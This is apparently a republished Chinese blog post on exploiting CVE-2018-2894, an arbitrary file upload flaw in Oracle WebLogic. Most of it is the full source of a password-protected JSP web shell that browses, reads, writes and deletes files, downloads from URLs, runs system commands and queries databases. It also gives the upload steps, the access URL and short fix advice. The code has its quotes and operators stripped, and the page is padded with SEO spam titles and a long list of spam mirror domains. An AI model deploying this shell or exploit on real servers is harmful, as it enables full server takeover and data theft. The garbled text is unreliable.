如何给网站做排名,该网站无备案,学校网站建设的申请,设计类的软件有哪些一、漏洞简介
在 Weblogic Web Service Test Page 中存在一处任意文件上传漏洞#xff0c; Web Service Test Page 在生产模式下默认不开启#xff0c;所以该漏洞有一定限制。利用该 漏洞#xff0c;可以上传任意 jsp 文件#xff0c;进而获取服务器权限。 二…一、漏洞简介
在 Weblogic Web Service Test Page 中存在一处任意文件上传漏洞 Web Service Test Page 在生产模式下默认不开启所以该漏洞有一定限制。利用该 漏洞可以上传任意 jsp 文件进而获取服务器权限。 二、影响范围
Oracle WebLogic Server版本
10.3.6.0
12.1.3.0
12.2.1.2
12.2.1.3 三、影响页面
该漏洞的影响模块为web服务测试页在默认情况下不启用。
/ws_utc/config.do
/ws_utc/begin.do
通过测试在10.3.6版本上未发现该功能 登录控制台 - base_domain - 高级 - 勾选启用Web服务测试页 -保存 四、漏洞复现
Weblogic任意文件上传漏洞CVE-2018-2894复现-CSDN博客
修改目录 上传jsp大马文件名为chao.jsp 密码为:Cknife
%page importjava.io.*,java.util.*,java.net.*,java.sql.*,java.text.*%
%!String Pwd Cknife;String cs UTF-8;String EC(String s) throws Exception {return new String(s.getBytes(ISO-8859-1),cs);}Connection GC(String s) throws Exception {String[] x s.trim().split(choraheiheihei);Class.forName(x[0].trim());if(x[1].indexOf(jdbc:oracle)!-1){return DriverManager.getConnection(x[1].trim():x[4],x[2].equalsIgnoreCase([/null])?:x[2],x[3].equalsIgnoreCase([/null])?:x[3]);}else{Connection c DriverManager.getConnection(x[1].trim(),x[2].equalsIgnoreCase([/null])?:x[2],x[3].equalsIgnoreCase([/null])?:x[3]);if (x.length 4) {c.setCatalog(x[4]);}return c;}}void AA(StringBuffer sb) throws Exception {File k new File();File r[] k.listRoots();for (int i 0; i r.length; i) {sb.append(r[i].toString().substring(0, 2));}}void BB(String s, StringBuffer sb) throws Exception {File oF new File(s), l[] oF.listFiles();String sT, sQ, sF ;java.util.Date dt;SimpleDateFormat fm new SimpleDateFormat(yyyy-MM-dd HH:mm:ss);for (int i 0; i l.length; i) {dt new java.util.Date(l[i].lastModified());sT fm.format(dt);sQ l[i].canRead() ? R : ;sQ l[i].canWrite() ? W : ;if (l[i].isDirectory()) {sb.append(l[i].getName() /\t sT \t l[i].length() \t sQ \n);} else {sFl[i].getName() \t sT \t l[i].length() \t sQ \n;}}sb.append(sF);}void EE(String s) throws Exception {File f new File(s);if (f.isDirectory()) {File x[] f.listFiles();for (int k 0; k x.length; k) {if (!x[k].delete()) {EE(x[k].getPath());}}}f.delete();}void FF(String s, HttpServletResponse r) throws Exception {int n;byte[] b new byte[512];r.reset();ServletOutputStream os r.getOutputStream();BufferedInputStream is new BufferedInputStream(new FileInputStream(s));os.write((- |).getBytes(), 0, 3);while ((n is.read(b, 0, 512)) ! -1) {os.write(b, 0, n);}os.write((| -).getBytes(), 0, 3);os.close();is.close();}void GG(String s, String d) throws Exception {String h 0123456789ABCDEF;File f new File(s);f.createNewFile();FileOutputStream os new FileOutputStream(f);for (int i 0; i d.length(); i 2) {os.write((h.indexOf(d.charAt(i)) 4 | h.indexOf(d.charAt(i 1))));}os.close();}void HH(String s, String d) throws Exception {File sf new File(s), df new File(d);if (sf.isDirectory()) {if (!df.exists()) {df.mkdir();}File z[] sf.listFiles();for (int j 0; j z.length; j) {HH(s / z[j].getName(), d / z[j].getName());}} else {FileInputStream is new FileInputStream(sf);FileOutputStream os new FileOutputStream(df);int n;byte[] b new byte[512];while ((n is.read(b, 0, 512)) ! -1) {os.write(b, 0, n);}is.close();os.close();}}void II(String s, String d) throws Exception {File sf new File(s), df new File(d);sf.renameTo(df);}void JJ(String s) throws Exception {File f new File(s);f.mkdir();}void KK(String s, String t) throws Exception {File f new File(s);SimpleDateFormat fm new SimpleDateFormat(yyyy-MM-dd HH:mm:ss);java.util.Date dt fm.parse(t);f.setLastModified(dt.getTime());}void LL(String s, String d) throws Exception {URL u new URL(s);int n 0;FileOutputStream os new FileOutputStream(d);HttpURLConnection h (HttpURLConnection) u.openConnection();InputStream is h.getInputStream();byte[] b new byte[512];while ((n is.read(b)) ! -1) {os.write(b, 0, n);}os.close();is.close();h.disconnect();}void MM(InputStream is, StringBuffer sb) throws Exception {String l;BufferedReader br new BufferedReader(new InputStreamReader(is));while ((l br.readLine()) ! null) {sb.append(l \r\n);}}void NN(String s, StringBuffer sb) throws Exception {Connection c GC(s);ResultSet r s.indexOf(jdbc:oracle)!-1?c.getMetaData().getSchemas():c.getMetaData().getCatalogs();while (r.next()) {sb.append(r.getString(1) \t|\t\r\n);}r.close();c.close();}void OO(String s, StringBuffer sb) throws Exception {Connection c GC(s);String[] x s.trim().split(choraheiheihei);ResultSet r c.getMetaData().getTables(null,s.indexOf(jdbc:oracle)!-1?x.length5?x[5]:x[4]:null, %, new String[]{TABLE});while (r.next()) {sb.append(r.getString(TABLE_NAME) \t|\t\r\n);}r.close();c.close();}void PP(String s, StringBuffer sb) throws Exception {String[] x s.trim().split(\r\n);Connection c GC(s);Statement m c.createStatement(1005, 1007);ResultSet r m.executeQuery(select * from x[x.length-1]);ResultSetMetaData d r.getMetaData();for (int i 1; i d.getColumnCount(); i) {sb.append(d.getColumnName(i) ( d.getColumnTypeName(i) )\t);}r.close();m.close();c.close();}void QQ(String cs, String s, String q, StringBuffer sb,String p) throws Exception {Connection c GC(s);Statement m c.createStatement(1005, 1008);BufferedWriter bw null;try {ResultSet r m.executeQuery(q.indexOf(--f:)!-1?q.substring(0,q.indexOf(--f:)):q);ResultSetMetaData d r.getMetaData();int n d.getColumnCount();for (int i 1; i n; i) {sb.append(d.getColumnName(i) \t|\t);}sb.append(\r\n);if(q.indexOf(--f:)!-1){File file new File(p);if(q.indexOf(-to:)-1){file.mkdir();}bw new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(q.indexOf(-to:)!-1?p.trim():pq.substring(q.indexOf(--f:) 4,q.length()).trim()),true),cs));}while (r.next()) {for (int i 1; i n; i) {if(q.indexOf(--f:)!-1){bw.write(r.getObject(i)\t);bw.flush();}else{sb.append(r.getObject(i) \t|\t);}}if(bw!null){bw.newLine();}sb.append(\r\n);}r.close();if(bw!null){bw.close();}} catch (Exception e) {sb.append(Result\t|\t\r\n);try {m.executeUpdate(q);sb.append(Execute Successfully!\t|\t\r\n);} catch (Exception ee) {sb.append(ee.toString() \t|\t\r\n);}}m.close();c.close();}
%
%//String Z EC(request.getParameter(Pwd) , cs);cs request.getParameter(code) ! null ? request.getParameter(code) :cs;request.setCharacterEncoding(cs);response.setContentType(text/html;charset cs);StringBuffer sb new StringBuffer();
if (request.getParameter(Pwd) ! null) {try {String Z EC(request.getParameter(action) );String z1 EC(request.getParameter(z1) );String z2 EC(request.getParameter(z2) );sb.append(- |);String s request.getSession().getServletContext().getRealPath(/);if (Z.equals(A)) {sb.append(s \t);if (!s.substring(0, 1).equals(/)) {AA(sb);}} else if (Z.equals(B)) {BB(z1, sb);} else if (Z.equals(C)) {String l ;BufferedReader br new BufferedReader(new InputStreamReader(new FileInputStream(new File(z1))));while ((l br.readLine()) ! null) {sb.append(l \r\n);}br.close();} else if (Z.equals(D)) {BufferedWriter bw new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(z1))));bw.write(z2);bw.close();sb.append(1);} else if (Z.equals(E)) {EE(z1);sb.append(1);} else if (Z.equals(F)) {FF(z1, response);} else if (Z.equals(G)) {GG(z1, z2);sb.append(1);} else if (Z.equals(H)) {HH(z1, z2);sb.append(1);} else if (Z.equals(I)) {II(z1, z2);sb.append(1);} else if (Z.equals(J)) {JJ(z1);sb.append(1);} else if (Z.equals(K)) {KK(z1, z2);sb.append(1);} else if (Z.equals(L)) {LL(z1, z2);sb.append(1);} else if (Z.equals(M)) {String[] c { z1.substring(2), z1.substring(0, 2), z2 };Process p Runtime.getRuntime().exec(c);MM(p.getInputStream(), sb);MM(p.getErrorStream(), sb);} else if (Z.equals(N)) {NN(z1, sb);} else if (Z.equals(O)) {OO(z1, sb);} else if (Z.equals(P)) {PP(z1, sb);} else if (Z.equals(Q)) {QQ(cs, z1, z2, sb,z2.indexOf(-to:)!-1?z2.substring(z2.indexOf(-to:)4,z2.length()):s.replaceAll(\\\\, /)images/);}} catch (Exception e) {sb.append(ERROR :// e.toString());}sb.append(| -);out.print(sb.toString());
}
%
查看时间戳
http://192.168.116.144:7001/ws_utc/css/config/keystore/1715496339972_chao.jsp
访问木马文件 五、修复建议
1、 设置config.do,begin.do页面登录授权后访问
2、 IPS等防御产品可以加入相应的特征
3、 升级到官方的最新版本
参考文章:实操Weblogic 任意文件上传漏洞CVE-2018-2894附jsp大马源码-腾讯云开发者社区-腾讯云 (tencent.com) 文章转载自： http://www.morning.qflwp.cn.gov.cn.qflwp.cn http://www.morning.fgrcd.cn.gov.cn.fgrcd.cn http://www.morning.rwdbz.cn.gov.cn.rwdbz.cn http://www.morning.ffwrq.cn.gov.cn.ffwrq.cn http://www.morning.nkwgy.cn.gov.cn.nkwgy.cn http://www.morning.tzmjc.cn.gov.cn.tzmjc.cn http://www.morning.hwcgg.cn.gov.cn.hwcgg.cn http://www.morning.wfjrl.cn.gov.cn.wfjrl.cn http://www.morning.mznqz.cn.gov.cn.mznqz.cn http://www.morning.mqghs.cn.gov.cn.mqghs.cn http://www.morning.bsqth.cn.gov.cn.bsqth.cn http://www.morning.nmfml.cn.gov.cn.nmfml.cn http://www.morning.rqqlp.cn.gov.cn.rqqlp.cn http://www.morning.jkzq.cn.gov.cn.jkzq.cn http://www.morning.dnbhd.cn.gov.cn.dnbhd.cn http://www.morning.fqtzn.cn.gov.cn.fqtzn.cn http://www.morning.hmjasw.com.gov.cn.hmjasw.com http://www.morning.wbyqy.cn.gov.cn.wbyqy.cn http://www.morning.dnjwm.cn.gov.cn.dnjwm.cn http://www.morning.xgxbr.cn.gov.cn.xgxbr.cn http://www.morning.bpmnc.cn.gov.cn.bpmnc.cn http://www.morning.prhqn.cn.gov.cn.prhqn.cn http://www.morning.gbcnz.cn.gov.cn.gbcnz.cn http://www.morning.nkpls.cn.gov.cn.nkpls.cn http://www.morning.mhmdx.cn.gov.cn.mhmdx.cn http://www.morning.cyfsl.cn.gov.cn.cyfsl.cn http://www.morning.mcgsq.cn.gov.cn.mcgsq.cn http://www.morning.ktmpw.cn.gov.cn.ktmpw.cn http://www.morning.fdxhk.cn.gov.cn.fdxhk.cn http://www.morning.lwrks.cn.gov.cn.lwrks.cn http://www.morning.slkqd.cn.gov.cn.slkqd.cn http://www.morning.cpfbg.cn.gov.cn.cpfbg.cn http://www.morning.qxmnf.cn.gov.cn.qxmnf.cn http://www.morning.wjxtq.cn.gov.cn.wjxtq.cn http://www.morning.nhdw.cn.gov.cn.nhdw.cn http://www.morning.txlnd.cn.gov.cn.txlnd.cn http://www.morning.kqblk.cn.gov.cn.kqblk.cn http://www.morning.gsdbg.cn.gov.cn.gsdbg.cn http://www.morning.qtkdn.cn.gov.cn.qtkdn.cn http://www.morning.srxhd.cn.gov.cn.srxhd.cn http://www.morning.rxnl.cn.gov.cn.rxnl.cn http://www.morning.mgtrc.cn.gov.cn.mgtrc.cn http://www.morning.ngkng.cn.gov.cn.ngkng.cn http://www.morning.pwsnr.cn.gov.cn.pwsnr.cn http://www.morning.ntkpc.cn.gov.cn.ntkpc.cn http://www.morning.rrwft.cn.gov.cn.rrwft.cn http://www.morning.dqwykj.com.gov.cn.dqwykj.com http://www.morning.cmqrg.cn.gov.cn.cmqrg.cn http://www.morning.ffdyy.cn.gov.cn.ffdyy.cn http://www.morning.bdsyu.cn.gov.cn.bdsyu.cn http://www.morning.tjpmf.cn.gov.cn.tjpmf.cn http://www.morning.yhwyh.cn.gov.cn.yhwyh.cn http://www.morning.fddfn.cn.gov.cn.fddfn.cn http://www.morning.qdscb.cn.gov.cn.qdscb.cn http://www.morning.jydhl.cn.gov.cn.jydhl.cn http://www.morning.dqbpf.cn.gov.cn.dqbpf.cn http://www.morning.msfqt.cn.gov.cn.msfqt.cn http://www.morning.zdnrb.cn.gov.cn.zdnrb.cn http://www.morning.bqwnp.cn.gov.cn.bqwnp.cn http://www.morning.zqdhr.cn.gov.cn.zqdhr.cn http://www.morning.cxryx.cn.gov.cn.cxryx.cn http://www.morning.drzkk.cn.gov.cn.drzkk.cn http://www.morning.wrlxy.cn.gov.cn.wrlxy.cn http://www.morning.3jiax.cn.gov.cn.3jiax.cn http://www.morning.xjtnp.cn.gov.cn.xjtnp.cn http://www.morning.dgxrz.cn.gov.cn.dgxrz.cn http://www.morning.szzxqc.com.gov.cn.szzxqc.com http://www.morning.wprxm.cn.gov.cn.wprxm.cn http://www.morning.xlndf.cn.gov.cn.xlndf.cn http://www.morning.csnch.cn.gov.cn.csnch.cn http://www.morning.wcft.cn.gov.cn.wcft.cn http://www.morning.jrbyz.cn.gov.cn.jrbyz.cn http://www.morning.hhfwj.cn.gov.cn.hhfwj.cn http://www.morning.nstml.cn.gov.cn.nstml.cn http://www.morning.ydhmt.cn.gov.cn.ydhmt.cn http://www.morning.clndl.cn.gov.cn.clndl.cn http://www.morning.mkczm.cn.gov.cn.mkczm.cn http://www.morning.gwzfj.cn.gov.cn.gwzfj.cn http://www.morning.phwmj.cn.gov.cn.phwmj.cn http://www.morning.yrgb.cn.gov.cn.yrgb.cn
